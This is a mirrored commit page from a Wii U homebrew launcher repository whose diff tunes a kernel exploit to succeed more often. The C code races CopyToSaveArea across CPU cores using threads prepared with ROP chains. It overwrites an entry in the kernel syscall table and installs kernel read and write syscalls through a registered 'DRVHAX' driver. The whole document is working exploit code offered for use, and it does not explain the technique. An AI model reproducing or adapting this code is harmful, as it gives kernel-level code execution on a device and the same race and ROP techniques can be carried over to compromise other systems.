mirror of
https://github.com/wiiu-env/homebrew_launcher.git
synced 2025-02-22 07:07:09 +01:00
improved osdrive exploit success rate
This commit is contained in:
parent
e688b5ee91
commit
5c59b1be66
@ -7,6 +7,39 @@ void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos);
|
|||||||
void exitOSScreen(unsigned int coreinit_handle);
|
void exitOSScreen(unsigned int coreinit_handle);
|
||||||
void callSysExit(unsigned int coreinit_handle, void *sysFunc);
|
void callSysExit(unsigned int coreinit_handle, void *sysFunc);
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
char *drvb_name;
|
||||||
|
void *copy_payload;
|
||||||
|
void *thread0;
|
||||||
|
void *thread2;
|
||||||
|
uint32_t *rop0;
|
||||||
|
uint32_t *rop2;
|
||||||
|
|
||||||
|
void (*OSYieldThread)(void);
|
||||||
|
int32_t (*OSResumeThread)(void * thread);
|
||||||
|
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length);
|
||||||
|
} thread_data_container_t;
|
||||||
|
|
||||||
|
static void thread_callback(int argc, void *argv)
|
||||||
|
{
|
||||||
|
thread_data_container_t *container = (thread_data_container_t*)argv;
|
||||||
|
|
||||||
|
container->OSYieldThread();
|
||||||
|
|
||||||
|
/* Schedule both threads for execution */
|
||||||
|
container->OSResumeThread(container->thread0);
|
||||||
|
container->OSResumeThread(container->thread2);
|
||||||
|
|
||||||
|
/* Signal the CPU0 and CPU2 threads to begin */
|
||||||
|
container->rop0[0x1fc/4] = 0;
|
||||||
|
container->rop2[0x1ac/4] = 0;
|
||||||
|
|
||||||
|
container->OSYieldThread();
|
||||||
|
|
||||||
|
container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000);
|
||||||
|
}
|
||||||
|
|
||||||
/* Initial setup code stolen from Pong, makes race much more reliable */
|
/* Initial setup code stolen from Pong, makes race much more reliable */
|
||||||
void run_kexploit(private_data_t *private_data)
|
void run_kexploit(private_data_t *private_data)
|
||||||
{
|
{
|
||||||
@ -37,6 +70,10 @@ void run_kexploit(private_data_t *private_data)
|
|||||||
/* OS thread functions */
|
/* OS thread functions */
|
||||||
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
|
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
|
||||||
int32_t (*OSResumeThread)(void *thread);
|
int32_t (*OSResumeThread)(void *thread);
|
||||||
|
int32_t (*OSGetThreadPriority)(void *thread);
|
||||||
|
void * (*OSGetCurrentThread)(void);
|
||||||
|
void (*OSYieldThread)(void);
|
||||||
|
int (*OSIsThreadTerminated)(void *thread);
|
||||||
|
|
||||||
/* Exit functions */
|
/* Exit functions */
|
||||||
void (*__PPCExit)();
|
void (*__PPCExit)();
|
||||||
@ -56,6 +93,10 @@ void run_kexploit(private_data_t *private_data)
|
|||||||
|
|
||||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
|
||||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetThreadPriority", &OSGetThreadPriority);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetCurrentThread", &OSGetCurrentThread);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
|
||||||
|
|
||||||
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
|
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
|
||||||
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
|
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
|
||||||
@ -64,14 +105,16 @@ void run_kexploit(private_data_t *private_data)
|
|||||||
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings);
|
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings);
|
||||||
|
|
||||||
/* Allocate a stack for the threads */
|
/* Allocate a stack for the threads */
|
||||||
uint32_t stack0 = (uint32_t) OSAllocFromSystem(0x300, 0x20);
|
uint32_t stack0 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
|
||||||
uint32_t stack2 = (uint32_t) OSAllocFromSystem(0x300, 0x20);
|
uint32_t stack2 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
|
||||||
|
uint32_t stack1 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
|
||||||
|
|
||||||
/* Create the threads */
|
/* Create the threads */
|
||||||
void *thread0 = OSAllocFromSystem(OSTHREAD_SIZE, 8);
|
void *thread0 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
|
||||||
bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1);
|
bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1 | 0x10 | 8);
|
||||||
void *thread2 = OSAllocFromSystem(OSTHREAD_SIZE, 8);
|
void *thread2 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
|
||||||
bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4);
|
bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4 | 0x10 | 8);
|
||||||
|
void *thread1 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
|
||||||
if (ret0 == false || ret2 == false)
|
if (ret0 == false || ret2 == false)
|
||||||
{
|
{
|
||||||
printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1);
|
printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1);
|
||||||
@ -111,7 +154,7 @@ void run_kexploit(private_data_t *private_data)
|
|||||||
uint32_t *rop0 = (uint32_t*) stack0;
|
uint32_t *rop0 = (uint32_t*) stack0;
|
||||||
ctx0->gpr[1] = stack0 + 0x80;
|
ctx0->gpr[1] = stack0 + 0x80;
|
||||||
ctx0->gpr[28] = 0;
|
ctx0->gpr[28] = 0;
|
||||||
ctx0->gpr[29] = CPU0_WAIT_TIME;
|
ctx0->gpr[29] = CPU0_WAIT_TIME * 2;
|
||||||
ctx0->gpr[31] = stack0 + 0x1f8;
|
ctx0->gpr[31] = stack0 + 0x1f8;
|
||||||
ctx0->srr0 = sigwait_addr + 0xc;
|
ctx0->srr0 = sigwait_addr + 0xc;
|
||||||
rop0[0x94/4] = sleep_addr;
|
rop0[0x94/4] = sleep_addr;
|
||||||
@ -153,7 +196,7 @@ void run_kexploit(private_data_t *private_data)
|
|||||||
uint32_t *rop2 = (uint32_t*) stack2;
|
uint32_t *rop2 = (uint32_t*) stack2;
|
||||||
ctx2->gpr[1] = stack2 + 0x80;
|
ctx2->gpr[1] = stack2 + 0x80;
|
||||||
ctx2->gpr[28] = 0;
|
ctx2->gpr[28] = 0;
|
||||||
ctx2->gpr[29] = CPU2_WAIT_TIME;
|
ctx2->gpr[29] = CPU2_WAIT_TIME * 4;
|
||||||
ctx2->gpr[31] = stack2 + 0x1a8;
|
ctx2->gpr[31] = stack2 + 0x1a8;
|
||||||
ctx2->srr0 = sigwait_addr + 0xc;
|
ctx2->srr0 = sigwait_addr + 0xc;
|
||||||
rop2[0x94/4] = sleep_addr;
|
rop2[0x94/4] = sleep_addr;
|
||||||
@ -180,9 +223,9 @@ void run_kexploit(private_data_t *private_data)
|
|||||||
rop2[0x204/4] = 0xDEADC0DE;
|
rop2[0x204/4] = 0xDEADC0DE;
|
||||||
|
|
||||||
/* Register driver A and driver B */
|
/* Register driver A and driver B */
|
||||||
char *drva_name = OSAllocFromSystem(8, 4);
|
char *drva_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
||||||
memcpy(drva_name, "DRVA", 5);
|
memcpy(drva_name, "DRVA", 5);
|
||||||
char *drvb_name = OSAllocFromSystem(8, 4);
|
char *drvb_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
||||||
memcpy(drvb_name, "DRVB", 5);
|
memcpy(drvb_name, "DRVB", 5);
|
||||||
uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL);
|
uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL);
|
||||||
if (status != 0)
|
if (status != 0)
|
||||||
@ -194,7 +237,6 @@ void run_kexploit(private_data_t *private_data)
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* Generate the copy payload, which writes to syscall_table[0x34] */
|
/* Generate the copy payload, which writes to syscall_table[0x34] */
|
||||||
uint32_t testval = 0xDEADBEEF;
|
|
||||||
uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20);
|
uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20);
|
||||||
if (!copy_payload)
|
if (!copy_payload)
|
||||||
{
|
{
|
||||||
@ -207,37 +249,65 @@ void run_kexploit(private_data_t *private_data)
|
|||||||
copy_payload[0xfb4/4] = 0x44525648;
|
copy_payload[0xfb4/4] = 0x44525648;
|
||||||
copy_payload[0xfb8/4] = 0x41580000;
|
copy_payload[0xfb8/4] = 0x41580000;
|
||||||
copy_payload[0xff4/4] = PFID_BROWSER;
|
copy_payload[0xff4/4] = PFID_BROWSER;
|
||||||
copy_payload[0xff8/4] = /*&testval*/KERN_SYSCALL_TBL + (0x34 * 4);
|
copy_payload[0xff8/4] = KERN_SYSCALL_TBL + (0x34 * 4);
|
||||||
DCFlushRange(copy_payload, 0x1000);
|
DCFlushRange(copy_payload, 0x1000);
|
||||||
DCInvalidateRange(copy_payload, 0x1000);
|
DCInvalidateRange(copy_payload, 0x1000);
|
||||||
|
|
||||||
/* Schedule both threads for execution */
|
char *drvhax_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
||||||
OSResumeThread(thread0);
|
drvhax_name[7] = 0;
|
||||||
OSResumeThread(thread2);
|
memcpy(drvhax_name, "DRVHAX", 7);
|
||||||
|
uint32_t *syscalls = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
||||||
|
syscalls[0] = KERN_CODE_READ;
|
||||||
|
syscalls[1] = KERN_CODE_WRITE;
|
||||||
|
|
||||||
/* Do a dummy copy to put CopyToSaveArea() in our cache */
|
/* Do a dummy copy to put CopyToSaveArea() in our cache */
|
||||||
CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4);
|
CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4);
|
||||||
|
|
||||||
|
thread_data_container_t container;
|
||||||
|
container.drvb_name = drvb_name;
|
||||||
|
container.copy_payload = copy_payload;
|
||||||
|
container.rop0 = rop0;
|
||||||
|
container.rop2 = rop2;
|
||||||
|
container.thread0 = thread0;
|
||||||
|
container.thread2 = thread2;
|
||||||
|
container.OSResumeThread = OSResumeThread;
|
||||||
|
container.OSYieldThread = OSYieldThread;
|
||||||
|
container.CopyToSaveArea = CopyToSaveArea;
|
||||||
|
|
||||||
|
bool ret3 = OSCreateThread(thread1, thread_callback, 1, &container, stack1 + 0x300, 0x300, OSGetThreadPriority(OSGetCurrentThread()), 2 | 0x10 | 8);
|
||||||
|
|
||||||
|
OSYieldThread();
|
||||||
|
/* Schedule both threads for execution */
|
||||||
|
//OSResumeThread(thread0);
|
||||||
|
//OSResumeThread(thread2);
|
||||||
|
OSResumeThread(thread1);
|
||||||
|
|
||||||
|
|
||||||
/* Signal the CPU0 and CPU2 threads to begin */
|
/* Signal the CPU0 and CPU2 threads to begin */
|
||||||
rop2[0x1ac/4] = 0;
|
//rop2[0x1ac/4] = 0;
|
||||||
rop0[0x1fc/4] = 0;
|
//rop0[0x1fc/4] = 0;
|
||||||
|
|
||||||
/* Start copying the payload into driver B's save area */
|
/* Start copying the payload into driver B's save area */
|
||||||
CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000);
|
//CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000);
|
||||||
|
|
||||||
/* Wait for a while, which somehow helps things */
|
/* The amount of instructions in this loop and the sleep ticks of the other cores can decide whether its a success or not */
|
||||||
int i = 0, ctr = 0;
|
while(OSIsThreadTerminated(thread1) == 0)
|
||||||
for (i = 0; i < 300000000; i++)
|
|
||||||
{
|
{
|
||||||
ctr++;
|
asm volatile (
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
);
|
||||||
|
|
||||||
|
OSYieldThread();
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Use DRVHAX to install the read and write syscalls */
|
/* Use DRVHAX to install the read and write syscalls */
|
||||||
char *drvhax_name = OSAllocFromSystem(8, 4);
|
|
||||||
memcpy(drvhax_name, "DRVHAX", 7);
|
|
||||||
uint32_t *syscalls = OSAllocFromSystem(8, 4);
|
|
||||||
syscalls[0] = KERN_CODE_READ;
|
|
||||||
syscalls[1] = KERN_CODE_WRITE;
|
|
||||||
status = CopyToSaveArea(drvhax_name, 6, syscalls, 8);
|
status = CopyToSaveArea(drvhax_name, 6, syscalls, 8);
|
||||||
|
|
||||||
/* Verify that the syscalls were installed */
|
/* Verify that the syscalls were installed */
|
||||||
@ -373,6 +443,7 @@ void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos)
|
|||||||
int i;
|
int i;
|
||||||
for(i=0;i<2;i++)
|
for(i=0;i<2;i++)
|
||||||
{
|
{
|
||||||
|
fillScreen(coreinit_handle, 0,0,0,0);
|
||||||
drawString(coreinit_handle, 0,pos,buf);
|
drawString(coreinit_handle, 0,pos,buf);
|
||||||
flipBuffers(coreinit_handle);
|
flipBuffers(coreinit_handle);
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user